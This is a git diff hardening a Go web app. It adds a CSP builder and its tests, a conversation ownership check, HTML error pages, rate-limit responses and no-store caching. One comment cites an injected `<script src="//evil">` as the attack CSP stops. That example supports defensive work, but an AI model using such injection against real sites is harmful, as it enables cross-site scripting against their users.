// 业务路径一律记录
require.True(t, shouldAccessLog("/", 200))
require.True(t, shouldAccessLog("/_/alice", 302))
require.True(t, shouldAccessLog("/staticish", 200), "只有 /static/ 前缀才算静态资源")
}
+11
View File
@@ -191,6 +191,17 @@ func SendMessage(ctx context.Context, cache cache.Cache) {
return
}
// 纵深防御(与 ConversationPage 同一口径):会话必须属于 URL 里这个箱子的真实属主。
//
// 少了这一步,domain 就只是一张"通行证":拿 A 箱的 domain 拼 B 箱的会话 token,
// 下面所有以 pageUser 为主体的判定都会落到 A 箱主身上 ——
// 被 B 箱主拉黑的提问者换个 domain 就能继续发消息,A 箱主的屏蔽词与日限额被套用到 B 的会话上。
// GET 页面早就有这条校验,POST 漏了。
if conv.OwnerID != pageUser.ID {
ctx.Redirect("/")
return
}
isOwner := ctx.IsLogged && ctx.User.ID == conv.OwnerID
isAsker := ctx.IsLogged && ctx.User.ID == conv.AskerID
if !isOwner && !isAsker {
+134
View File
@@ -0,0 +1,134 @@
package route
import (
"net/url"
"strings"
"github.com/tamakyi/TamaBox/internal/conf"
)
// cspMode 归一化 [security] csp 的取值。默认 enforce。
//
// 为什么默认 enforce 而不是 report:本项没有配置 report-uri 时,report-only 只是
// 「发个头、什么都不拦」,等于没装 —— 装个不生效的开关反而给人「已防护」的错觉。
// 已用真浏览器巡检 20 个页面(匿名 11 + 登录 6 + 单题/投票/分享图)零违规,见
// outputs/sec-audit-2026-10-25/csp_sweep.py。
//
// 两个方向的安全性都保留了:写错值(如 "enforce " 以外的拼写错误)退到 report,
// 宁可少拦也不让整站样式与交互崩掉;真要临时关掉写 off。
func cspMode() string {
switch strings.ToLower(strings.TrimSpace(conf.Security.CSP)) {
case "off", "none", "false", "0":
return "off"
case "report", "report-only", "reportonly":
return "report"
case "enforce", "on", "true", "1", "":
return "enforce"
default:
return "report"
}
}
// cspOrigin 把配置里的「域名」或「完整 URL」统一成 scheme://host 形态。
// 配置项经常是两种写法混用(如 image_bucket_cdn_host 常写成 host/path),
// 直接拼进 CSP 会变成非法源而被浏览器整条忽略。
func cspOrigin(raw string) string {
raw = strings.TrimSpace(raw)
if raw == "" {
return ""
}
if !strings.Contains(raw, "://") {
raw = "https://" + raw
}
u, err := url.Parse(raw)
if err != nil || u.Host == "" {
return ""
}
return u.Scheme + "://" + u.Host
}
// cspPolicy 构造 Content-Security-Policy 头。
//
// 目标是补一道纵深防御,而不是把页面卡死:XSS 过滤器是一套手写白名单,
// 任何一次改动都可能开口子;CSP 让「即使注入了 <script src="//evil">」也执行不了。
//
// 白名单口径:
// - script 收得很紧(本站 + 内联 + eval + 公共 CDN + 验证码域 + 图片 CDN);
// 'unsafe-eval' 不能省 —— Alpine 3 用 new Function 编译 x-data 表达式,去掉整站交互失效。
// - 图片 / 样式 / 字体 / 连接放宽到 https::箱主上传图、社交链接头像、主题背景都可能
// 落在任意 CDN 上,收紧到具体域名只会换来一堆「图裂了」且很难自查。
// - object-src / base-uri / form-action / frame-ancestors 一并锁死。
func cspPolicy() string {
self := "'self'"
scriptSrc := []string{
self, "'unsafe-inline'", "'unsafe-eval'",
// 公共 CDN:UIkit / Alpine / dayjs / vConsole / waline(见 templates/base/header.html)
"https://cdnjs.snrat.com",
// umami 站点统计:header.html 在 window load 后动态注入 <script>,
// 静态 grep 模板里的 <script src> 抓不到它 —— 这是 enforce 实测时踩出来的
// 第一个漏项,浏览器报 "Loading the script ... violates ... script-src"。
"https://mami.shiroko.one",
// Cloudflare Turnstile
"https://challenges.cloudflare.com",
}
frameSrc := []string{"https://challenges.cloudflare.com"}
// Sentry 浏览器 SDK:templates/base/header.html 里是 `{{ if ne SentryDSN "" }}` 包着的,
// 不配 DSN 就完全不存在。所以这里也跟着配置条件加 —— 否则要么开着 enforce 时配了 DSN
// 才发现错误上报被拦(静默失效),要么白名单里常年挂一个用不到的第三方源。
// 上报走 connect-src,那边的 https: 已经覆盖 *.ingest.sentry.io。
if strings.TrimSpace(conf.App.SentryDSN) != "" {
scriptSrc = append(scriptSrc, "https://browser.sentry-cdn.com")
}
// 图片 CDN 也托管了脚本(部分库直接放在 R2 上),所以进 script-src;
// 存储 API 端点(ImageEndpoint / AliyunEndpoint)不进 —— 浏览器从不直接加载它们。
for _, raw := range []string{
conf.Upload.ImageBucketCDNHost,
conf.Upload.AliyunBucketCDNHost,
} {
if origin := cspOrigin(raw); origin != "" {
scriptSrc = append(scriptSrc, origin)
}
}
// 验证码域既是脚本源也是 iframe 源(Turnstile / reCAPTCHA 都是 iframe 形态)
if origin := cspOrigin(conf.Recaptcha.Domain); origin != "" {
scriptSrc = append(scriptSrc, origin)
frameSrc = append(frameSrc, origin)
}
directives := []string{
"default-src " + self,
"script-src " + strings.Join(dedupeStrings(scriptSrc), " "),
"style-src " + self + " 'unsafe-inline' https:",
"img-src " + self + " data: blob: https:",
"font-src " + self + " data: https:",
"media-src " + self + " https:",
"frame-src " + strings.Join(dedupeStrings(frameSrc), " "),
"connect-src " + self + " https:",
"object-src 'none'",
"base-uri 'none'",
"form-action " + self,
"frame-ancestors 'none'",
}
if uri := strings.TrimSpace(conf.Security.CSPReportURI); uri != "" {
directives = append(directives, "report-uri "+uri)
}
return strings.Join(directives, "; ")
}
// dedupeStrings 去重并保持顺序(白名单重复项无害,但排掉便于比对与测试)。
func dedupeStrings(in []string) []string {
seen := make(map[string]struct{}, len(in))
out := make([]string, 0, len(in))
for _, s := range in {
if s == "" {
continue
}
if _, ok := seen[s]; ok {
continue
}
seen[s] = struct{}{}
out = append(out, s)
}
return out
}
+120
View File
@@ -0,0 +1,120 @@
package route
import (
"strings"
"testing"
"github.com/stretchr/testify/require"
"github.com/tamakyi/TamaBox/internal/conf"
)
// withSecurityConf 临时改 conf.Security 并在测试结束后还原,避免污染同包其它用例。
func withSecurityConf(t *testing.T, csp, reportURI string) {
t.Helper()
oldCSP, oldURI := conf.Security.CSP, conf.Security.CSPReportURI
conf.Security.CSP = csp
conf.Security.CSPReportURI = reportURI
t.Cleanup(func() {
conf.Security.CSP = oldCSP
conf.Security.CSPReportURI = oldURI
})
}
func TestCSPMode(t *testing.T) {
cases := []struct {
in string
want string
}{
{"", "enforce"}, // 未配置:默认拦截(report-only 没有上报地址等于没装)
{"report", "report"},
{"REPORT", "report"},
{"report-only", "report"},
{"off", "off"},
{"none", "off"},
{"enforce", "enforce"},
{" true ", "enforce"},
{"enfroce", "report"}, // 拼错退化为不拦截
}
for _, tc := range cases {
withSecurityConf(t, tc.in, "")
require.Equal(t, tc.want, cspMode(), "输入 %q", tc.in)
}
}
func TestCSPPolicy(t *testing.T) {
old := conf.Upload
t.Cleanup(func() { conf.Upload = old })
// 生产配置的真实写法:Host 带路径、Domain 是完整 URL。
conf.Upload.ImageBucketCDNHost = "r2.example.net/tamabox"
conf.Upload.AliyunBucketCDNHost = ""
conf.Recaptcha.Domain = "https://www.recaptcha.net"
withSecurityConf(t, "enforce", "")
policy := cspPolicy()
for _, want := range []string{
"default-src 'self'",
"object-src 'none'",
"base-uri 'none'",
"form-action 'self'",
"frame-ancestors 'none'",
// 脚本白名单:站内 + 内联 + eval(Alpine 需要)+ 公共 CDN + 验证码
"script-src 'self' 'unsafe-inline' 'unsafe-eval'",
"https://cdnjs.snrat.com",
// umami 统计脚本是 header.html 里运行时动态注入的,静态 grep 模板看不到;
// 少这一条会让 enforce 模式直接拦掉它(已在浏览器实测中复现过)。
"https://mami.shiroko.one",
"https://challenges.cloudflare.com",
"https://www.recaptcha.net",
// 带路径的配置必须被归一化成 origin,否则整条源非法、浏览器静默忽略
"https://r2.example.net",
} {
require.Contains(t, policy, want)
}
require.NotContains(t, policy, "r2.example.net/tamabox", "带路径的配置必须裁成 origin")
require.NotContains(t, policy, "report-uri", "没配上报地址时不应出现 report-uri")
}
// TestCSPPolicySentry 覆盖「配了 sentry_dsn 才放行 Sentry CDN」这个条件白名单。
// 两个方向都会静默出错:线上没开 Sentry 时白名单里多挂一个第三方源;开了 Sentry
// 时错误上报被 enforce 直接拦掉,而页面上完全看不出异常。
func TestCSPPolicySentry(t *testing.T) {
old := conf.App
t.Cleanup(func() { conf.App = old })
conf.App.SentryDSN = ""
require.NotContains(t, cspPolicy(), "browser.sentry-cdn.com")
conf.App.SentryDSN = "https://[email protected]/1"
require.Contains(t, cspPolicy(), "https://browser.sentry-cdn.com")
}
func TestCSPPolicyReportURI(t *testing.T) {
withSecurityConf(t, "report", "https://csp.example.net/collect")
require.Contains(t, cspPolicy(), "report-uri https://csp.example.net/collect")
}
func TestIsNoStorePath(t *testing.T) {
for _, p := range []string{"/user", "/user/", "/user/profile", "/_", "/_/someone", "/_/someone/1"} {
require.True(t, isNoStorePath(p), p)
}
// 分享卡是给社交平台抓取的公开图片,且渲染成本高,刻意不套 no-store。
for _, p := range []string{"/", "/login", "/static/css/base.css", "/_foo", "/users", "/explore",
"/_/someone/share-card", "/_/someone/1/share-card"} {
require.False(t, isNoStorePath(p), p)
}
}
// TestCSPPolicyNoEmptyOrigin 防止配置留空时拼出非法源(如 "https://")。
func TestCSPPolicyNoEmptyOrigin(t *testing.T) {
old := conf.Upload
t.Cleanup(func() { conf.Upload = old })
conf.Upload.ImageBucketCDNHost = ""
conf.Upload.AliyunBucketCDNHost = ""
conf.Recaptcha.Domain = ""
policy := cspPolicy()
require.False(t, strings.Contains(policy, "https:// ") || strings.HasSuffix(policy, "https://"), policy)
}
+172
View File
@@ -0,0 +1,172 @@
// Copyright 2026 tamakyi. All rights reserved.
// Use of this source code is governed by a MIT-style
// license that can be found in the LICENSE file.
package route
import (
"fmt"
"net/http"
"runtime/debug"
"strings"
"github.com/flamego/flamego"
"github.com/sirupsen/logrus"
"go.opentelemetry.io/otel/trace"
"github.com/tamakyi/TamaBox/internal/i18n"
"github.com/tamakyi/TamaBox/internal/shared"
)
// recoveryMiddleware 替代 flamego.Recovery(),把 panic 渲染成 HTML 500 页。
//
// 为什么不用框架自带的:flamego.Recovery() 直接写纯文本 "Internal Server Error",
// 用户看到的是白底黑字的两行英文,地址栏还停在出错的 URL 上 ——
// 既不知道发生了什么,也没有回去的入口,更没法把这次错误的编号报给我们。
func recoveryMiddleware() flamego.Handler {
return func(ctx flamego.Context) {
defer func() {
if r := recover(); r != nil {
// 带栈:没有栈的 panic 日志几乎无法定位。
logrus.WithContext(ctx.Request().Context()).
Errorf("panic recovered: %v\n%s", r, debug.Stack())
if ctx.ResponseWriter().Written() {
// 头已经发出去了,没法再改状态码,只能让连接断在这里。
return
}
writeErrorPage(ctx, http.StatusInternalServerError, "error.internalTitle", "error.internalDesc")
}
}()
ctx.Next()
}
}
// writeErrorPage 输出不依赖模板系统的完整错误页。
//
// 为什么不用模板:这两个页面出现在两处「拿不到模板」的地方 ——
// NotFound 处理器不在组级中间件链里(template.Templater 与 Contexter 都挂在组级,
// 包括 session 与 CSRF),而 recovery 中间件挂在最外层,那时模板还没装配。
// 错误页恰恰是最不该依赖出错链路的页面,所以这里用内联 HTML + i18n.T。
func writeErrorPage(ctx flamego.Context, status int, titleKey, descKey string) {
lang := pickErrorPageLang(ctx.Request().Request)
title := i18n.T(lang, titleKey)
desc := i18n.T(lang, descKey)
home := i18n.T(lang, "deactivated.backHome")
hint := i18n.T(lang, "error.traceHint")
traceID := ""
if span := trace.SpanFromContext(ctx.Request().Context()); span.SpanContext().TraceID().IsValid() {
traceID = span.SpanContext().TraceID().String()
}
body := fmt.Sprintf(`<!DOCTYPE html>
<html lang="%s"><head><meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<meta name="robots" content="noindex">
<title>%s</title>
<style>
:root { color-scheme: light dark; }
* { box-sizing: border-box; }
body {
margin: 0; min-height: 100vh; display: flex; align-items: center; justify-content: center;
padding: 24px; background: #f7f7f8; color: #1f2328;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "PingFang SC", "Hiragino Sans GB",
"Microsoft YaHei", sans-serif; line-height: 1.7;
}
.card {
width: 100%%; max-width: 30rem; padding: 2rem 1.75rem; text-align: center;
background: #fff; border-radius: 12px; box-shadow: 0 1px 3px rgba(0,0,0,.08), 0 8px 24px rgba(0,0,0,.04);
}
h1 { font-size: 1.35rem; margin: 0 0 .75rem; font-weight: 600; }
p { margin: 0; color: #59636e; }
.hint { margin-top: 1rem; font-size: .8125rem; color: #818b98; }
code { background: #eceef0; padding: .1rem .35rem; border-radius: 4px; font-size: .8125rem; }
.actions { margin-top: 1.75rem; }
a.btn {
display: inline-block; padding: .55rem 1.25rem; border-radius: 6px;
background: #1f6feb; color: #fff; text-decoration: none; font-size: .9375rem;
}
a.btn:hover { background: #1a5fd0; }
@media (prefers-color-scheme: dark) {
body { background: #16181a; color: #e6edf3; }
.card { background: #1f2225; box-shadow: none; border: 1px solid #2c3136; }
p { color: #9aa4af; }
.hint { color: #7d8792; }
code { background: #2c3136; }
}
</style></head>
<body><div class="card">
<h1>%s</h1>
<p>%s</p>
%s
<div class="actions"><a class="btn" href="/">%s</a></div>
</div></body></html>`,
htmlLang(lang), esc(title), esc(title), esc(desc),
func() string {
if traceID == "" {
return ""
}
return `<p class="hint">` + esc(hint) + ` <code>` + esc(traceID) + `</code></p>`
}(),
esc(home),
)
ctx.ResponseWriter().Header().Set("Content-Type", "text/html; charset=utf-8")
ctx.ResponseWriter().Header().Set("X-Content-Type-Options", "nosniff")
// 错误页不缓存:修好之后用户刷新应该立刻拿到正常页面。
ctx.ResponseWriter().Header().Set("Cache-Control", "no-store")
ctx.ResponseWriter().WriteHeader(status)
_, _ = ctx.ResponseWriter().Write([]byte(body))
}
// pickErrorPageLang 选错误页语言。
//
// 这里拿不到 session(sessioner 是组级中间件,NotFound 不经过它),
// 所以只能从 Accept-Language 猜一个,猜不到就用站点默认语言。
func pickErrorPageLang(r *http.Request) string {
def := i18n.Resolve(shared.App.Lang())
header := strings.ToLower(r.Header.Get("Accept-Language"))
if header == "" {
return def
}
// 按声明顺序取第一个能识别的语言偏好(q 值排序这里不精确处理:
// 错误页的语言不需要那么讲究,按出现顺序取第一个命中的即可)。
for _, part := range strings.Split(header, ",") {
tag := strings.TrimSpace(strings.SplitN(part, ";", 2)[0])
switch {
case strings.HasPrefix(tag, "zh-tw"), strings.HasPrefix(tag, "zh-hk"),
strings.HasPrefix(tag, "zh-hant"):
return i18n.Resolve("zh-TW")
case strings.HasPrefix(tag, "zh"):
return i18n.Resolve("zh-CN")
case strings.HasPrefix(tag, "ja"):
return i18n.Resolve("ja")
case strings.HasPrefix(tag, "en"):
return i18n.Resolve("en")
}
}
return def
}
// htmlLang 把内部语言代码转成 <html lang> 该用的 BCP 47 值。
func htmlLang(lang string) string {
switch lang {
case "zh-CN":
return "zh-CN"
case "zh-TW":
return "zh-Hant"
case "ja":
return "ja"
default:
return "en"
}
}
// esc 对极少数字符做转义。这里的内容全部来自字典(不是用户输入),
// 但仍然转义一次 —— 字典里出现引号或 & 时不能把页面结构弄坏。
func esc(s string) string {
r := strings.NewReplacer("&", "&amp;", "<", "&lt;", ">", "&gt;", `"`, "&quot;", "'", "&#39;")
return r.Replace(s)
}
+126
View File
@@ -0,0 +1,126 @@
// Copyright 2026 tamakyi. All rights reserved.
// Use of this source code is governed by a MIT-style
// license that can be found in the LICENSE file.
package route
import (
"net/http"
"net/http/httptest"
"strings"
"testing"
"github.com/flamego/flamego"
"github.com/stretchr/testify/require"
)
// TestRecoveryMiddlewareRendersHTML 锁住 panic 的对外表现。
//
// 改动前用的是 flamego.Recovery():它直接写纯文本 "Internal Server Error",
// 用户看到白底黑字两行英文,没有返回入口,也拿不到可以报给我们的编号。
func TestRecoveryMiddlewareRendersHTML(t *testing.T) {
f := flamego.New()
f.Use(recoveryMiddleware())
f.Get("/boom", func() {
panic("boom")
})
req := httptest.NewRequest(http.MethodGet, "/boom", nil)
resp := httptest.NewRecorder()
f.ServeHTTP(resp, req)
require.Equal(t, http.StatusInternalServerError, resp.Code)
require.True(t, strings.HasPrefix(resp.Header().Get("Content-Type"), "text/html"),
"必须是 HTML,不能退回纯文本")
require.Equal(t, "no-store", resp.Header().Get("Cache-Control"))
body := resp.Body.String()
require.Contains(t, body, "<!DOCTYPE html>")
// 中文环境(default lang)下应给出可读文案与返回入口
require.Contains(t, body, "服务出了点问题")
require.Contains(t, body, `href="/"`, "错误页必须有返回首页的入口")
require.NotContains(t, body, "boom", "不能把 panic 内容暴露给用户")
}
// TestRecoveryMiddlewareDoesNotDoubleWrite 响应已写出时不能再写头。
//
// 场景:handler 先写了一部分内容再 panic。这时 HTTP 头已经发出去了,
// 再 WriteHeader 会被 net/http 忽略(并打 superfluous 警告),
// 强行写还会把已经发出去的响应体盖掉。
func TestRecoveryMiddlewareDoesNotDoubleWrite(t *testing.T) {
f := flamego.New()
f.Use(recoveryMiddleware())
f.Get("/half", func(ctx flamego.Context) {
_, _ = ctx.ResponseWriter().Write([]byte("partial"))
panic("boom after write")
})
req := httptest.NewRequest(http.MethodGet, "/half", nil)
resp := httptest.NewRecorder()
f.ServeHTTP(resp, req)
require.Equal(t, http.StatusOK, resp.Code, "头已发出,状态码不能变")
require.Equal(t, "partial", resp.Body.String(), "不能把已写出的内容覆盖掉")
}
// TestPickErrorPageLang 错误页语言只能靠 Accept-Language 猜
// (sessioner 是组级中间件,NotFound 不经过它)。
func TestPickErrorPageLang(t *testing.T) {
cases := []struct {
name string
header string
want string
}{
{"空 header 用站点默认", "", ""},
{"英文", "en-US,en;q=0.9", "en"},
{"日文", "ja-JP,ja;q=0.9", "ja"},
{"繁体", "zh-TW,zh;q=0.9", "zh-TW"},
{"zh-Hant 也算繁体", "zh-Hant", "zh-TW"},
{"简体", "zh-CN,zh;q=0.9", "zh-CN"},
// 浏览器常把首选语言排在前面,这里按出现顺序取第一个能识别的
{"首选英文后跟日文", "en-GB,en;q=0.9,ja;q=0.5", "en"},
{"无法识别时回退默认", "de-DE,fr;q=0.8", ""},
}
for _, c := range cases {
t.Run(c.name, func(t *testing.T) {
req := httptest.NewRequest(http.MethodGet, "/nope", nil)
if c.header != "" {
req.Header.Set("Accept-Language", c.header)
}
got := pickErrorPageLang(req)
if c.want == "" {
// 回退到站点默认语言,不是空串
require.NotEmpty(t, got)
return
}
require.Equal(t, c.want, got)
})
}
}
// TestWriteErrorPageStatusCodes 404 与 500 各自的状态码与 noindex。
func TestWriteErrorPageStatusCodes(t *testing.T) {
for _, status := range []int{http.StatusNotFound, http.StatusInternalServerError} {
f := flamego.New()
f.Get("/x", func(ctx flamego.Context) {
writeErrorPage(ctx, status, "error.notFoundTitle", "error.notFoundDesc")
})
req := httptest.NewRequest(http.MethodGet, "/x", nil)
resp := httptest.NewRecorder()
f.ServeHTTP(resp, req)
require.Equal(t, status, resp.Code)
require.Contains(t, resp.Body.String(), `name="robots" content="noindex"`,
"错误页不该被搜索引擎收录")
}
}
// TestEscErrorPageText 字典文本里出现引号/尖括号时不能把页面结构弄坏。
func TestEscErrorPageText(t *testing.T) {
require.Equal(t, "a&quot;b", esc(`a"b`))
require.Equal(t, "&lt;script&gt;", esc("<script>"))
require.Equal(t, "a&amp;b", esc("a&b"))
require.Equal(t, "&#39;x&#39;", esc("'x'"))
}
+24 -4
View File
@@ -3,16 +3,38 @@ package route
import (
"fmt"
"net/http"
"strconv"
"sync"
"time"
"github.com/flamego/flamego"
"github.com/flamego/session"
"github.com/tamakyi/TamaBox/internal/i18n"
"github.com/tamakyi/TamaBox/internal/shared"
"github.com/tamakyi/TamaBox/route/vote"
)
// tooManyRequests 是 429 的唯一出口。
//
// 原来两处中间件各写一遍,只有一句英文硬编码 —— 既没走 i18n(中文站给访客看英文),
// 也没有 Retry-After,客户端只能靠猜什么时候可以重试(多数会立刻重试,把限流放大)。
// Retry-After 取窗口长度:滑动窗口下真实可重试时间可能更早,这里是安全上界。
//
// 语言固定用站点默认:限流中间件跑在 Contexter 之前,此时拿不到已解析的界面语言,
// 而 429 的 body 通常由前端 JS 展示、很少直接被阅读。
func tooManyRequests(ctx flamego.Context, window time.Duration) {
w := ctx.ResponseWriter()
retry := int(window.Seconds())
if retry < 1 {
retry = 1
}
w.Header().Set("Retry-After", strconv.Itoa(retry))
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
w.WriteHeader(http.StatusTooManyRequests)
_, _ = w.Write([]byte(i18n.T(i18n.Default, "common.tooManyRequests")))
}
// rateLimiter provides a simple in-memory rate limiter using a sliding window.
type rateLimiter struct {
mu sync.Mutex
@@ -140,8 +162,7 @@ func rateLimitMiddleware(limit int, window time.Duration) flamego.Handler {
}
if !rl.allow(ip) {
ctx.ResponseWriter().WriteHeader(http.StatusTooManyRequests)
_, _ = ctx.ResponseWriter().Write([]byte("Too many requests. Please try again later."))
tooManyRequests(ctx, window)
return
}
}
@@ -156,8 +177,7 @@ func voteSubmitRateLimitMiddleware(limit int, window time.Duration) flamego.Hand
anonymousIPRL := newRateLimiter(limit*10, window)
tooMany := func(ctx flamego.Context) {
ctx.ResponseWriter().WriteHeader(http.StatusTooManyRequests)
_, _ = ctx.ResponseWriter().Write([]byte("Too many requests. Please try again later."))
tooManyRequests(ctx, window)
}
return func(ctx flamego.Context, s session.Session) {
+123 -15
View File
@@ -5,6 +5,7 @@
package route
import (
stdctx "context"
"encoding/gob"
"io"
"net/http"
@@ -64,15 +65,51 @@ func securityHeaders() flamego.Handler {
w := ctx.ResponseWriter()
w.Header().Set("X-Content-Type-Options", "nosniff")
w.Header().Set("X-Frame-Options", "DENY")
w.Header().Set("X-XSS-Protection", "1; mode=block")
// X-XSS-Protection 已是废弃的响应头:Chrome 移除、新 Firefox 不实现,
// 而旧版 IE/Edge 的反射型 XSS 过滤器本身有信息泄露缺陷(CVE-2018-10016 一类)。
// 现代建议是显式关掉,把防护交给 CSP 与输出编码。
w.Header().Set("X-XSS-Protection", "0")
w.Header().Set("Referrer-Policy", "strict-origin-when-cross-origin")
// 站点不需要这些能力,显式全禁,避免被嵌入页 / 第三方脚本索要权限。
w.Header().Set("Permissions-Policy", "camera=(), microphone=(), geolocation=(), payment=(), usb=()")
// HSTS:仅当站点以 https 对外提供服务时下发,避免 http 部署下把用户锁死在 https。
if strings.HasPrefix(conf.App.ExternalURL, "https") {
w.Header().Set("Strict-Transport-Security", "max-age=31536000; includeSubDomains")
}
// CSP:off 时完全不出现;report 只下发 Report-Only(页面行为不变);
// enforce 才真正拦截。见 csp.go 与 [security] csp 的注释。
switch cspMode() {
case "enforce":
w.Header().Set("Content-Security-Policy", cspPolicy())
case "report":
w.Header().Set("Content-Security-Policy-Report-Only", cspPolicy())
}
// 敏感页面禁止缓存:
// /user/** 箱主后台(资料、会话、私信全在里面)
// /_/** 箱主页与单题页(单题页带 t= token,等于一把钥匙)
// 不管的话,共享设备上「退出登录 → 后退键」还能翻出完整后台(bfcache / 磁盘缓存);
// 将来若给 /user 配了 CDN 的 Cache Everything,还会把个人数据跨用户回放。
// 静态资源不在此列(/static 前缀不匹配)。
if p := ctx.Request().URL.Path; isNoStorePath(p) {
w.Header().Set("Cache-Control", "no-store, private")
w.Header().Set("Pragma", "no-cache")
}
}
}
// isNoStorePath 判断该路径是否属于「不允许任何缓存」的敏感面。
func isNoStorePath(p string) bool {
// 分享卡例外:它是给社交平台抓取的图片,本来就以公开分享为目的,而且渲染成本高
// (要画图 + 上传/落盘)。给它 no-store 会让每次 OG 预览都回源重画一张。
if strings.HasSuffix(p, "/share-card") {
return false
}
return p == "/user" || strings.HasPrefix(p, "/user/") ||
p == "/_" || strings.HasPrefix(p, "/_/")
}
// newBanner 按 conf.Security 装配自动封禁器。
//
// 抽成独立函数(而不是内联在 New 里)是有代价换来的:蜜罐的封禁通道参数
@@ -115,18 +152,49 @@ func newBanner() *autoban.Banner {
if reason == autoban.ReasonHoneypot {
reasonText = "蜜罐提交凭据"
}
expiresAt := time.Now().Add(duration)
logrus.WithFields(logrus.Fields{
"ban_key": key,
"reason": reasonText,
"duration": duration.String(),
"expires_at": time.Now().Add(duration).Format("2006-01-02 15:04:05"),
"expires_at": expiresAt.Format("2006-01-02 15:04:05"),
}).Warn("已自动封禁来源(内存态,重启进程即解除;键为聚合口径,IPv6 为 /64)")
// 落库:内存态封禁重启即失效,事后没人能回答「封了哪个键、因为什么、封多久」。
// 异步 + 独立超时 + 失败只告警 —— 取证记录不能反过来拖慢或影响封禁本身。
// BanRecords 为 nil 表示未经 db.Init(单测里自建 Banner 就是这种情形)。
if db.BanRecords == nil {
return
}
record := &db.BanRecord{
BanKey: key,
Reason: reasonText,
DurationMinutes: int(duration.Minutes()),
ExpiresAt: expiresAt,
}
go func() {
ctx, cancel := stdctx.WithTimeout(stdctx.Background(), 3*time.Second)
defer cancel()
if err := db.BanRecords.Create(ctx, record); err != nil {
logrus.WithError(err).WithField("ban_key", record.BanKey).Warn("封禁记录落库失败")
}
}()
},
})
}
func New() *flamego.Flame {
f := flamego.Classic()
// 不用 flamego.Classic():它内部注册的 Logger() 记录 RequestURI(含 query),
// 会把 ?t=<私密题钥匙> 与 ?code=<改密凭证> 明文写进日志(见 accesslog.go)。
// Classic 提供的三件套在这里逐一显式装配:
// accessLogMiddleware() 替代 Logger(),只记 URL.Path
// flamego.Recovery() 行为不变
// flamego.Static() 已在下方按 /static 前缀显式注册(原来就重复注册过)
f := flamego.New()
// 访问日志放在 Recovery 外层:panic 被兜成 500 后仍能记到状态码。
f.Use(accessLogMiddleware())
f.Use(recoveryMiddleware())
if conf.App.Production {
flamego.SetEnv(flamego.EnvTypeProd)
}
@@ -204,6 +272,10 @@ func New() *flamego.Flame {
},
})
// 安全响应头必须注册在静态资源之前:flamego.Static 命中后会终结请求链,
// 放在它后面等于静态资源拿不到 nosniff / HSTS。
f.Use(securityHeaders())
f.Use(flamego.Static(flamego.StaticOptions{
FileSystem: http.FS(static.FS),
Prefix: "/static",
@@ -213,17 +285,47 @@ func New() *flamego.Flame {
},
}))
f.Use(securityHeaders())
f.Use(ipBlacklistMiddleware())
f.Use(autobanMiddleware(ab, hp))
// 全局请求体上限:必须在任何会读取 body 的中间件(尤其 Contexter 内的 CSRF 校验)
// 之前执行,否则超大 multipart 会在 Bind 的路由级限制生效前落盘临时文件耗尽磁盘。
f.Use(requestBodyLimitMiddleware())
// 缓存层:配了 Redis 用 Redis,没配就用进程内内存缓存。
//
// 原来无条件走 cacheRedis,而 go-redis 对空 Addr 会回退到 localhost:6379
// (go-redis/v9/options.go)。于是「不配 Redis」这种被配置允许的部署形态下,
// 每个依赖缓存的功能都在连一个不存在(或不属于本站)的本地实例:
// - route/auth/recover.go 读不回 code → 找回密码整体不可用,只看到「内部错误」
// - chat_handler 的邮件每小时节流失效 → 每条私信都发一封邮件
// 而这一切在启动期没有任何提示,排查时也看不出跟 Redis 有关。
var cacheHandler flamego.Handler
if conf.Redis.Addr != "" {
cacheHandler = cache.Cacher(cache.Options{
Initer: cacheRedis.Initer(),
Config: cacheRedis.Config{
Options: &cacheRedis.Options{
Addr: conf.Redis.Addr,
Password: conf.Redis.Password,
DB: 0,
},
},
})
} else {
cacheHandler = cache.Cacher(cache.Options{Initer: cache.MemoryIniter()})
}
reqUserSignOut := context.Toggle(&context.ToggleOptions{UserSignOutRequired: true})
reqUserSignIn := context.Toggle(&context.ToggleOptions{UserSignInRequired: true})
f.Group("", func() {
// 健康检查:存活(永远 200)与就绪(DB 可用才 200,否则 503)。
// 免鉴权、不限流、不查业务数据;响应体不含任何内部错误详情。
// 注意:这两个端点仍会经过全局中间件(安全头、IP 黑名单、自动封禁),
// 这是有意保留的 —— 异常来源不该因为「探针路径」就绕过封禁。
f.Get("/healthz", route.Healthz)
f.Get("/readyz", route.Readyz)
f.Get("/", route.Home)
f.Get("/pixel", reqUserSignIn, pixel.Index)
f.Get("/sponsor", route.Sponsor)
@@ -397,6 +499,10 @@ func New() *flamego.Flame {
f.Group("/user", func() {
f.Get("/questions", user.QuestionList)
// 箱主自己的数据面板:访问量 / 提问趋势 / 处理漏斗。
// 与公开的 /stats(全站)不同,这里只看当前登录用户自己的箱。
f.Get("/insights", user.Insights)
// 匿名投票管理(箱主侧)
f.Group("/votes", func() {
f.Get("", user.VoteList)
@@ -461,18 +567,13 @@ func New() *flamego.Flame {
f.Get("/explore/random", rateLimitMiddleware(60, 1*time.Minute), user.RandomRecommend)
// 首页"提问箱信息统计"公开接口(服务端 30 分钟缓存),供前端定时刷新
f.Get("/site-stats", rateLimitMiddleware(60, 1*time.Minute), route.SiteStatsAPI)
// 提问者「找回自己的提问」:浏览器里存着 {id, token},回访时批量问一次
// 哪些已被回答。必须同时给出正确 token 才返回有效信息,无法用于枚举。
// 用 POST 而不是 GET:token 不能进 URL(会留在浏览器历史、代理日志、Referer 里)。
f.Post("/ask-status", rateLimitMiddleware(30, 1*time.Minute), question.AskStatusAPI)
}, context.APIEndpoint)
},
cache.Cacher(cache.Options{
Initer: cacheRedis.Initer(),
Config: cacheRedis.Config{
Options: &cacheRedis.Options{
Addr: conf.Redis.Addr,
Password: conf.Redis.Password,
DB: 0,
},
},
}),
cacheHandler,
recaptcha.V3(
recaptcha.Options{
Secret: conf.Recaptcha.ServerKey,
@@ -531,7 +632,14 @@ func New() *flamego.Flame {
if ip := shared.LimitKey(shared.ResolveClientIP(ctx.Request().Request)); ip != "" {
ab.Record(ip, ctx.Request().URL.Path, autoban.KindNotFound)
}
ctx.Redirect("/")
// 真 404:渲染错误页并写 404 状态码。
//
// 原来这里是 ctx.Redirect("/")。对用户来说那是「点了链接,地址栏跳到首页,
// 却什么都没提示」—— 分不清是链接坏了还是自己点错了;对搜索引擎是软 404,
// 失效链接会被当成有效页面收进索引,一直占着抓取预算。
// 蜜罐分流仍在最前面,这里只处理「确实不存在的普通路径」。
